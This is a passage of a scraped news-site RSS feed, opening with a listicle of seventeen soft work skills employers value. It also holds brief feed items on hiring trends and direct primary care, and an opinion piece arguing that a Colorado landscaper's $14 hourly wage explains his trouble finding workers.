innovation are what make businesses thrive.In today’s ever-changing environment, versatility is a mandatory attitude every working person needs to have. With the following seventeen work skills, you will not only make your employer extremely happy and confident that hiring you was their best decision, you will experience greater personal satisfaction and results.

1. Know what you want but more so why you want it.

Employers need to sense you have a solid idea as to why you are a fit for their role and their organization. They need to sense you have your own sense of purpose.However, it can be a double-edged sword to say you know exactly what you want to achieve and gain if you are successful in your application and interview.Some employers can perceive this as arrogance; your needs first, theirs second. What employers are really looking for is your internal sense of knowing that potential to join their organization is a winning combination for both of you.

2. Diplomacy and conflict resolution skills save money, lost productivity and efficiency.

Can you agree to disagree? Can you evaluate without passing judgment or at least be self-aware of your own biases? Can you put these aside to find solutions for the betterment of the team?Employers look for versatility in soft work skills that bring peace, lower stress and contribute to creating harmony. If you have ways with words to help heated arguments reduce to a simmer so there is space for compromises, negotiations and reasoning to take place your employers’ respect for you will jump at least tenfold.Peace-making skills are invaluable in changing workplace culture, particularly toxic ones. Any good employer knows a strong in-house negotiator will save them thousands of dollars in engaging an external mediator.

3. Know how to set and reframe your own goals.

Much research has documented that when employees have a clear purpose, mission and goals, they are more likely to be highly productive. They are less likely to flounder around in many directions nor be busy and not produce results that matter.Employers know well that employees who develop their own goals and can align these with those of the company are more self-driven, self-sufficient and take greater ownership for performing their role.And the benefit is not only to the employers. You personally will find greater personal satisfaction from achieving targets you have chosen to set yourself. Everyone wins!

4. Great time management and organization skills make you highly productive.

Being able to exercise versatility with these work skills needs no explanation. Great time management does not mean multi-tasking. It actually uses more brain power and reduces effectiveness.Having great skills to prioritize your activities and demands, being able to assess how long things might take you to address are planning skills which greatly aid effective and better execution.Working in harmony with your colleagues’ timetables makes for better teamwork and workflow plus a less stressed environment.In today’s working world, any strategies for reducing stress-invoking opportunities are like finding golden nuggets. Your employer will want to hold on to those for dear life!

5. Be a flexible team player by being able to change roles when required.

Employers will be looking to see how flexible a team player, a potential employee could be.If you are a natural leader, being a better team player might, in fact, mean you stepping down from the helm and encouraging someone else to exercise and step into their leadership potential.It might be more beneficial to your employer to play the role of Indian as opposed to the Chief in certain situations. Stepping into different positions on your team not only helps you grow but also the rest of your team.Employers relish having a versatile work team which can adapt and is ready and willing to play different roles, even if uncomfortable when crises happen.

6. Initiative, self-motivated and driven.

When you have your own internal reasons for looking to undertake a role your motivation is driven by something sizzling inside of you.There is a personal drive and desire for the satisfaction you will experience when you meet a certain target that no other person will be able to give to you.When you can genuinely identify and demonstrate your own personal connection to the role’s objectives and the greater goals of your employer’s business, they will see you have an internal drive that they don’t need to whip and flog to keep the momentum going.Any employer will be grateful they just need to help navigate you and support you with the right tools and network and off you go.

7. Be confident but not arrogant.

Imagine if you were conducting initial telephone interviews with shortlisted candidates and one of the questions they asked was:“How long would it be until I’ll be eligible for a pay rise or promotion?”There is a significant difference between being confident and arrogant. Employers are not looking for confidence purely in you being able to perform every aspect of your role at gold star level.It comes with being comfortable to say you don’t understand, you have made a mistake, you need support, further training, acknowledging what your limits are and being willing to risk stepping outside your comfort zone.When you’re a new kid on the block, respecting that you may need to learn to walk before you can run is essential. Unless it is your job to start making significant changes from day one, chances are you’re going to create enemies if you’re so confident your new methods and ideas should replace existing processes.

8. A positive attitude.

Demonstrating positivity as a work skill that will truly win over your new employer is about being genuine and actively applying strategies which look for the glass half full.Recruiters and employers are not dumb. They can easily see through short-term bright smiles, nervous giggling and general ‘you just need to think positive’ statements.In the face of grueling challenges, employers are going to look much more favorably on that candidate who can acknowledge the negative features of a situation but still encourage another solution-focused perspective to be adopted.Even better, if you can use language effectively to demonstrate how you have adopted a positive perspective and helped turned around a tough situation.It is one thing to have a positive attitude but your potential employer will see you as a superhero if you can show them how you have successfully applied it.

9. You are resourceful but know the value of asking for help.

There is nothing more unproductive (let alone frustrating) than that person who simply asks out loud a question to their team when they could simply have Googled the answer.Or worse still, they have a manual at their fingertips which has the answer to their question…they were simply too lazy to look for themselves.Be that person with Sherlock Holmes as their middle name who sleuths like a dog after a buried bone. You can research and turn over stones to discover and learn what you need but you also are able to ask for help and assistance when you need to.Any employer will relish that person who looks to discover the answers to their own questions first before reaching out and asking for help.

10. Emotional intelligence creates a harmonious workflow.

Despite the level of seniority of your role having a strong ability to handle emotions is fast becoming an essential work skill (and also life skill).It is even more desirable for any employer when your work skill set includes the ability to detect, adapt to and have skills in managing certain emotional patterns of others you need to work with, manage or report to.So much time, energy and productivity is lost due to individuals’ lack of skills in this area. Any manager who can see you possess and can demonstrate such versatile work skills will think they’ve won the managerial lottery!

11. Be able to adapt your learning style.

There is no real evidence that using preferred learning styles actually increase the rate at which we learn nor the effectiveness of certain styles.However, being able to make changes to what we are given to learn and adapting it to suit our needs and preferences does help us settle into a new work transition sooner.We also need to recognize that even though we feel uncomfortable learning a new skill a certain way, it might actually be the way we need to receive it to cement the learning. It is also likely that our new employer only knows or has a budget to deliver training in a certain way.Either we can choose to adapt or resist but we know for sure the latter is not going to benefit to anyone.

12. Flexible leadership style.

Dan Goleman has conducted extensive research on different leadership styles, emphasizing that being versatile to switch between different styles (e.g. authoritative, coaching, affiliate, coercive, pace-setting) and knowing when to do is a fundamental skill for any leader.Being able to change your style to lead other people is as important as how you lead your own role responsibilities.

13. Incredible communication skills that actively listen and give clear messages.

Strong and effective communication across all mediums takes time, life experience and highly developed intuition.Knowing when to use email, a face to face conversation or telephone discussion is one thing. Another is to use words which emotionally connect and influence the receiver to accept, hear and heed your message.Great communicators know that it is their responsibility as much as the receiver for good communication to take place. However, they also know that the receiver may not feel this is the case.When you can listen equally, be sensitive to read between the lines to hear the message of ineffective communicators and can respond kindly with inspiring, equalizing and encouraging words, your influence and general likeability as a new addition to your employer’s team will develop in leaps and bounds.

14. Accountability, responsible and dependable.

We’ve all worked with people or managers at some point who lay external blame the instance something goes wrong.Contrary to popular belief, making mistakes and owning up to it is a highly desirable and versatile work skill that gains loyalty and understanding particularly when mistakes occur.Owning up to errors early allows both yourself and the business to recover quickly and shows you’re willing to take responsibility to continue forward on when you have stumbled.When you illustrate you can do this, you build your employer’s trust and faith in you.

15. Exercise proactive self-awareness.

Self-reflection is a highly empowering work skill that contributes greatly to becoming better and performing better.When you actively look for the achievement, celebrate your success and look for pockets of where mistakes you have made can be corrected you improve faster, become more effective and make your work easier.When you start to look at your own errors, receiving feedback from your employer about the same errors can feel far less confronting and having corrective conversations is easier, transparent and far less stressful and emotional.You naturally increase your resilience and make life easier for yourself and your employer if you conduct regular self-check-ins and keep your employer updated.

16. Apply a problem-solving growth mindset.

When faced with a problem or challenge, your ability to activate a growth mindset is a highly versatile work skill employers love. Not only are you able to reduce the pain and anguish that a fixed mindset can sustain but your ability to remain open to possibilities to find different pathways or ideas is refreshing and helpful.If your thought patterns automatically ask: “How can we?” or you often think “there must be a way”, you will only contribute to creating growth opportunities for your organization and inspire others to think the same way.

17. Be teachable.

If you have ever tried to teach someone a new skill or technique and they keep reverting back to traditional ways that are familiar to them, you might have become frustrated to the point of giving up.Don’t be that person who’s stuck in tradition which no longer serves the business. Whether you are entering a new environment, learning new software or negotiation skills, know that all employers need people who are open to being taught.Innovation is a core concern of every business. Innovation means change and change means doing something different.

Stay versatile and keep learning

Technical skills can often be taught. Ray Croc illustrated how well a systemized franchise can dominate the planet. Over 36,000 McDonald’s establishments around the world are run by managers barely in their twenties!Soft work skills, however, take time to develop, learn and confidently apply.There is a key combination of work skills that would make any candidate employer’s dream. However, the essential factor underlying all of these work skills is versatility.Equip yourself with these 17 work skills, stay curious and keep learning; and you’ll always nail the job you want.

]]> https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/feed/ 0 Employers Eager to Hire Try a New Policy: ‘No Experience Necessary’ https://briefnews.eu/employers-eager-to-hire-try-a-new-policy-no-experience-necessary/ https://briefnews.eu/employers-eager-to-hire-try-a-new-policy-no-experience-necessary/#respond Mon, 30 Jul 2018 03:29:02 +0000 http://briefnews.eu/employers-eager-to-hire-try-a-new-policy-no-experience-necessary/ More companies, desperate for candidates for jobs ranging from auto mechanic to e-commerce analyst, are abandoning requirements about college degrees and prior job experience.

]]> https://briefnews.eu/employers-eager-to-hire-try-a-new-policy-no-experience-necessary/feed/ 0 A small but growing movement of doctors that don’t accept insurance and charge a monthly fee could be a model for big employers like Amazon and JPMorgan https://briefnews.eu/a-small-but-growing-movement-of-doctors-that-dont-accept-insurance-and-charge-a-monthly-fee-could-be-a-model-for-big-employers-like-amazon-and-jpmorgan/ https://briefnews.eu/a-small-but-growing-movement-of-doctors-that-dont-accept-insurance-and-charge-a-monthly-fee-could-be-a-model-for-big-employers-like-amazon-and-jpmorgan/#respond Tue, 03 Apr 2018 06:31:29 +0000 http://briefnews.eu/a-small-but-growing-movement-of-doctors-that-dont-accept-insurance-and-charge-a-monthly-fee-could-be-a-model-for-big-employers-like-amazon-and-jpmorgan/ Jeff BezosGetty

  • Direct primary care is a small but fast-growing movement of doctors who don’t accept insurance and instead charge a monthly membership fee.
  • At a time when many are feeling pressure from high healthcare costs, direct primary-care models can be a cheaper alternative that offers perks like quick access to doctors and sometimes wholesale prices on medications or lab tests.
  • And it could be a model employers — including JPMorgan, Amazon, and Berkshire Hathaway through their nonprofit healthcare venture — could tap into as a way of lowering costs.

A new kind of doctor’s office that charges a monthly fee and doesn’t take insurance has been spreading around the US. 

The practices are part of a movement known as direct primary care. Instead of accepting insurance for routine visits and drugs, these practices charge a monthly membership fee — often between $ 50 and $ 150 a month — that covers most of what the average patient needs, including visits and drugs at much lower prices. The movement’s been gaining momentum at a time when high-deductible health plans are on the rise.

See the rest of the story at Business Insider

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SEE ALSO: A new kind of doctor’s office that doesn’t take insurance and charges a monthly fee is ‘popping up everywhere’ — and that could change how we think about healthcare

]]> https://briefnews.eu/a-small-but-growing-movement-of-doctors-that-dont-accept-insurance-and-charge-a-monthly-fee-could-be-a-model-for-big-employers-like-amazon-and-jpmorgan/feed/ 0 Impatient With Colleges, Employers Design Their Own Courses https://briefnews.eu/impatient-with-colleges-employers-design-their-own-courses/ https://briefnews.eu/impatient-with-colleges-employers-design-their-own-courses/#respond Mon, 18 Dec 2017 11:32:45 +0000 http://briefnews.eu/impatient-with-colleges-employers-design-their-own-courses/ Technology companies and other employers are crafting their own curricula and sharing them with colleges and universities.


https://media.wired.com/photos/5a34796c1b8a2f160a8dd5ec/master/pass/Pendulum-FeatureArt.jpg
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]]> https://briefnews.eu/impatient-with-colleges-employers-design-their-own-courses/feed/ 0 Disability in demand: People with autism offer employers a broader talent pool https://briefnews.eu/disability-in-demand-people-with-autism-offer-employers-a-broader-talent-pool/ https://briefnews.eu/disability-in-demand-people-with-autism-offer-employers-a-broader-talent-pool/#respond Tue, 17 Oct 2017 09:57:29 +0000 http://briefnews.eu/disability-in-demand-people-with-autism-offer-employers-a-broader-talent-pool/ Shawn Bolshin

A Danish company with a global mandate to help employers make the most of untapped autistic talent is helping North American firms make concerted efforts to hire employees with autism who can bring unique skills to the workplace.

CBC | Health News

]]> https://briefnews.eu/disability-in-demand-people-with-autism-offer-employers-a-broader-talent-pool/feed/ 0 The economy is too strong for employers to be offering seasonal work at $14 per hour https://briefnews.eu/the-economy-is-too-strong-for-employers-to-be-offering-seasonal-work-at-14-per-hour/ https://briefnews.eu/the-economy-is-too-strong-for-employers-to-be-offering-seasonal-work-at-14-per-hour/#respond Sat, 14 Oct 2017 20:14:42 +0000 http://briefnews.eu/the-economy-is-too-strong-for-employers-to-be-offering-seasonal-work-at-14-per-hour/ FILE PHOTO: Store employee helps a customer with his purchase during the Black Friday sales event on Thanksgiving Day at Target in Chicago, Illinois, U.S., November 24, 2016. REUTERS/Kamil KrzaczynskiThomson Reuters

The latest story to run in a major newspaper about how employers simply can’t find Americans to do the jobs they have open and are simply forced to turn to migrant labor at least has a twist.

In this one, published Thursday by the Washington Post, the employer, Jesus “Chuy” Medrano, founder and owner of CoCal Landscape, himself immigrated from Mexico 44 years before.

He really tried to hire only Americans this year. But when he failed, he wound up spending a lot of time and money to bring in a few dozen migrant workers from Mexico—legally—to mow lawns and maintain sprinkler systems.

The story says Medrano “went to great lengths this summer to recruit Americans.” He interviewed anyone interested, advertised, raised wages to $ 13.95, overlooked absenteeism to retain people, and hired more women—“allowing mothers to work just the hours their children are in school”—and college students. None of it worked.

In Medrano’s telling, he simply had no choice but to turn to Mexicans who were able to obtain special visas. But like so many other employers, this business owner willfully misunderstands the labor market and the appeal of the work they have on offer.

Too frequently, employers assume that just because someone won’t take the job, it means Americans simply won’t do the work.

The labor market goes in cycles. When it is weak, workers have to compete with one another for available jobs, as they did in 2008 and 2009.

When it is strong, employers have to compete with one another for available workers. That is what’s happening now, because despite the fact that many people feel underemployed or are struggling to find work, the labor market is as tight as its been in recent memory. The national unemployment rate is a low 4.4 percent. The U.S. economy has added payroll jobs for a record 83 months. At the end of July, there were a record 6.2 million jobs open in the U.S., and there were only 1.1 unemployed people per job opening. (In July 2009, there were more than six unemployed people per job opening.)

And all that is based on national numbers. In Colorado, the task is that much harder. The unemployment rate in the state is an unthinkably low 2.4 percent. Simply put, pretty much everyone who wants a job in Colorado already has one.

farmReuters/Edgard Garrido

Which means if you are looking to fill a post, you better come heavy: offer above-market wages, an appealing work environment, good benefits, and job security. On every one of those measures, the landscaper falls woefully short. The starting wages are … $ 14 per hour which, sure, is almost twice the federal minimum wage. But it’s also 47 percent below average hourly earnings. Imagine going shopping for a house in a neighborhood in which the average house costs $ 500,000 and wondering why you can’t find a four-bedroom home for $ 250,000. That’s what Medrano is doing.

Too frequently, employers—and the journalists who write about them—assume that just because someone won’t take the job you have on offer at the price you’re willing to pay, it means Americans simply won’t do the work. That’s not true. There is a price at which a landscaper in Colorado could fill all of his open positions, but when the unemployment rate is 2.4 percent, he’d need to pay significantly more than $ 14 per hour.

Of course, if you don’t want to use the blunt instrument of wages to attract people, you can offer other inducements that make it more appealing: benefits, more flexible scheduling, profit-sharing, a greater level of job security. But here, too, beyond offering women the opportunity to work part-time while their kids are at school, there is little sign that this company has thought deeply about using these tactics.

If you don’t want to do the hard work of re-engineering your business so that you can pay people enough to meet the local standard of living, it makes sense to bring in people in from a place where the standard of living is much lower. That’s pretty much what large chunks of the U.S. service economy—restaurants, agriculture, construction, and landscaping—have done in recent years. But in an age of resurgent nativism and tighter border control, this strategy has its limits.

A final piece of understanding this puzzle is that there’s a difference between a job and some work. Most people want a job. What the landscaper, and too many employers in the U.S. today, are offering is simply some work. If you don’t offer loyalty or the promise of a future to a potential employee at a time of 2.4 percent unemployment, why should people come flocking to your door?

Reporter Tracy Jan notes that it is difficult to get workers to “invest in a company that does not promise year-round employment.” Once the fall turns to the winter, Medrano typically plans to lay off two-thirds of his workers. No wonder they’re not knocking down his door.

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